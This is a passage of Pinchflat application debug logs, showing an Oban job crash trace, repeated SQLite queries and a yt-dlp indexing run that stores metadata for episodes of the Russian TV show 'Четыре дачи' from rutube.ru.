lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1 Last message: :dispatch State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@05645cc4311e", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"34 11 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "media_collection_indexing"}}}}, meta: %{name: Oban, node: "pinchflat@05645cc4311e", queue: "media_collection_indexing", started_at: ~U[2025-12-08 11:34:20.595261Z], limit: 2, uuid: "1913cc10-0071-4b35-a1a0-bcf1e6fee0a8", updated_at: ~U[2025-12-09 08:14:17.536293Z], paused: false, refresh_interval: 30000, shutdown_started_at: nil}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "media_collection_indexing"}}}}, dispatch_timer: #Reference<0.3025678858.3878420481.5714>, refresh_timer: #Reference<0.3025678858.3877896194.129092>, dispatch_cooldown: 5, running: %{}} 11:14:28.216 [info] Exqlite.Connection (#PID<0.2321.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.8253.0> exited 11:14:28.561 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 11:14:28.561 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 11:14:31.066 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:46.839 [info] {"args":{"id":5},"id":2211,"meta":{},"system_time":1765268086838171225,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:14:47.196 [debug] QUERY OK source="sources" db=355.5ms idle=1849.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:47.199 [debug] QUERY OK source="settings" db=1.7ms queue=0.4ms idle=1206.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:47.203 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=370.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 11:14:47.206 [debug] QUERY OK source="media_items" db=1.7ms queue=0.9ms idle=372.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 11:14:47.210 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.7ms idle=10.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:47.212 [debug] QUERY OK source="settings" db=1.3ms idle=14.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:47.213 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=12.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:47.217 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:14:47.220 [debug] Current batch of media processed. Will check again in 1000ms 11:14:47.222 [debug] QUERY OK source="settings" db=4.4ms queue=0.2ms idle=13.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:47.227 [debug] QUERY OK source="settings" db=5.1ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:47.229 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=18.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:14:47.232 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/206383/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 ДАЧИ/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d5/d0/d5d019101f4526bd3a91dbeb417b689213da809db942c27946ede8fbc61ce635.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:14:48.224 [debug] Current batch of media processed. Will check again in 1000ms 11:14:49.226 [debug] Current batch of media processed. Will check again in 1000ms 11:14:50.229 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "duration" => 3836, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", "id" => "1abc46ef1a4fab4555156e2162b3342d", "original_url" => "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", "playlist_index" => 1, "timestamp" => 1666423203, "title" => "Четыре дачи: Краснодарский край 2", "upload_date" => "20221022"} 11:14:50.231 [debug] QUERY OK source="sources" db=1.6ms idle=1237.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:50.233 [debug] QUERY OK source="sources" db=1.4ms idle=1239.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:50.237 [debug] QUERY OK source="media_items" db=1.4ms queue=1.3ms idle=1241.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-22 07:20:03Z], 5] 11:14:50.941 [debug] QUERY OK source="media_items" db=702.1ms queue=0.2ms idle=1245.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "0b6d7c4f-0f41-4e22-9494-2e26d249e675", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", 1, "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, false, false, 5, [], 1, ~U[2022-10-22 07:20:03Z], ~U[2025-12-09 08:14:50Z], ~U[2025-12-09 08:14:50Z], "Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, 5, ~U[2022-10-22 07:20:03Z]] 11:14:50.977 [debug] QUERY OK source="sources" db=35.6ms queue=0.1ms idle=709.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:50.979 [debug] QUERY OK source="media_profiles" db=1.7ms queue=0.1ms idle=743.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:50.982 [debug] QUERY OK source="media_items" db=1.4ms idle=744.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44606] 11:14:50.985 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "duration" => 5072, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", "id" => "3aaf6eff87a958502ccc73aefbb94e5b", "original_url" => "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", "playlist_index" => 2, "timestamp" => 1691850951, "title" => "Четыре дачи: Краснодарский край", "upload_date" => "20230812"} 11:14:50.988 [debug] QUERY OK source="sources" db=2.4ms idle=126.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:50.989 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=48.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:50.990 [debug] QUERY OK source="media_items" db=0.3ms idle=12.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-12 14:35:51Z], 5] 11:14:51.860 [debug] QUERY OK source="media_items" db=869.3ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "50e07fb5-7087-493d-9179-60b5fe895e2d", "3aaf6eff87a958502ccc73aefbb94e5b", 5072, false, "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", 2, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", false, false, false, 5, [], 1, ~U[2023-08-12 14:35:51Z], ~U[2025-12-09 08:14:50Z], ~U[2025-12-09 08:14:50Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3Z1OMOD \n\nВадим Абрамов отправляется на 4 дачи Краснодарского края. В Геленджике Анна покажет свою дачу на берегу моря. Юлия из хутора Ленина похвастается цветущей дачей. Мария пригласит дачников в Туапсе на свой пряный участок. А Анна из села Первореченское проведёт экскурсию по своей сиреневой даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край", "3aaf6eff87a958502ccc73aefbb94e5b", 5072, false, "https://rutube.ru/video/3aaf6eff87a958502ccc73aefbb94e5b/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081200 - Четыре дачи: Краснодарский край.mp4", false, 5, ~U[2023-08-12 14:35:51Z]] 11:14:51.898 [debug] QUERY OK source="sources" db=37.2ms queue=0.1ms idle=877.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:51.901 [debug] QUERY OK source="media_profiles" db=1.3ms queue=1.4ms idle=909.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:51.904 [debug] QUERY OK source="media_items" db=1.9ms idle=911.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44608] 11:14:51.905 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "duration" => 4242, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", "id" => "5914a4c8fa92d978fc7107a63cb85474", "original_url" => "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", "playlist_index" => 3, "timestamp" => 1692427214, "title" => "Четыре дачи: Московская область", "upload_date" => "20230819"} 11:14:51.908 [debug] QUERY OK source="sources" db=1.3ms idle=46.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:51.915 [debug] QUERY OK source="sources" db=5.8ms queue=0.5ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:51.924 [debug] QUERY OK source="media_items" db=6.8ms idle=15.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-19 06:40:14Z], 5] 11:14:52.563 [debug] QUERY OK source="media_items" db=635.9ms idle=23.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "Четыре дачи: Московская область", "ff2ede0b-5b07-4df1-a565-e49d5c635b6f", "5914a4c8fa92d978fc7107a63cb85474", 4242, false, "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", 3, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", false, false, false, 5, [], 1, ~U[2023-08-19 06:40:14Z], ~U[2025-12-09 08:14:51Z], ~U[2025-12-09 08:14:51Z], "Домклик – сервис недвижимости номер один. На Домклик более 30 фильтров поиска идеального загородного дома. https://bit.ly/3OTeaSc\n\nДачники Московской области приглашают в гости! В деревне Шуколово Светлана покажет свою дачу, которую она называет райским уголком. Елизавета проведёт экскурсию по своей семейной даче в Сергиевом Посаде. Ильшат попробует доказать, что его дача в Солнечногорске самая креативная. А Марина расскажет о своей красной даче в Калиновке. Какой из участков понравится соперникам больше остальных, узнаем из программы «Четыре дачи».", "Четыре дачи: Московская область", "5914a4c8fa92d978fc7107a63cb85474", 4242, false, "https://rutube.ru/video/5914a4c8fa92d978fc7107a63cb85474/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e081900 - Четыре дачи: Московская область.mp4", false, 5, ~U[2023-08-19 06:40:14Z]] 11:14:52.620 [debug] QUERY OK source="sources" db=49.2ms idle=660.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:52.627 [debug] QUERY OK source="media_profiles" db=4.4ms queue=0.3ms idle=713.9ms SELECT m0."id", m0."name", 